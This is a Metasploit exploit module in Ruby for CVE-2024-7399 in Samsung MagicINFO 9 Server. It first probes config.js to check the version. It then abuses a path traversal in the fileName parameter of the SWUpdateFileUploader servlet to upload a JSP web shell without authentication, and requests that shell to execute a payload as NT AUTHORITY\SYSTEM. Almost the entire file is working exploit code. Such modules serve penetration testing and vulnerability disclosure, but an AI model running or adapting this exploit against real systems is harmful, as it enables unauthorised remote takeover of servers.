class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',
        'Description' => %q{
          Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.
          Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
          which can be queried by an unauthenticated user to upload a JSP shell.
          By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF Module
          'SSD Secure Disclosure' # Discovery and PoC
        ],
        'References' => [
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'],
          ['URL', 'https://security.samsungtv.com/securityUpdates'],
          ['CVE', '2024-7399'] # SVE-2024-50018
        ],
        'DisclosureDate' => '2025-04-30',
        'DefaultOptions' => {
          'RPORT' => 7002,
          'SSL' => 'True'
        },
        'Platform' => [ 'windows' ],
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Java Server Page', {
              'Platform' => %w[win],
              'Arch' => ARCH_JAVA
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI for the MagicInfo web interface', '/MagicInfo']),
        OptInt.new('DEPTH', [true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 6])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'config.js')
    })

    return CheckCode::Unknown unless res&.code == 200

    js_object = res.body.to_s[/window\.globalConfig = (\{.+\})/m, 1]

    return CheckCode::Safe('Could not extract globalConfig object from response.') unless js_object

    json_b = js_object.gsub(/'/, '"') # replace ' with " so that we can use JSON.parse on the response body
    data = JSON.parse(json_b)

    full_version = data.fetch('magicInfoFrontEndVersion', nil)
    version = full_version[/Server\s+([\d.]+)/, 1]

    return CheckCode::Unknown unless version

    unless Rex::Version.new(version) > Rex::Version.new('21.1050.0')
      vprint_status("MagicINFO version detected: #{full_version}")
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Uploading shell...')

    shell = Rex::Text.rand_text_alpha(8..12)
    traversal = '../' * datastore['DEPTH']

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/plain',
      'data' => cmd,
      'uri' => normalize_uri(target_uri.path, 'servlet', "SWUpdateFileUploader?fileName=./#{traversal}server/#{shell}.jsp")
    })

    if res&.code == 200
      print_good('Upload successful.')
      res1 = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, "#{shell}.jsp"),
        'method' => 'GET'
      })

      fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') unless res1&.code == 200
      print_status('Payload executed!')

    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
    end
  end
end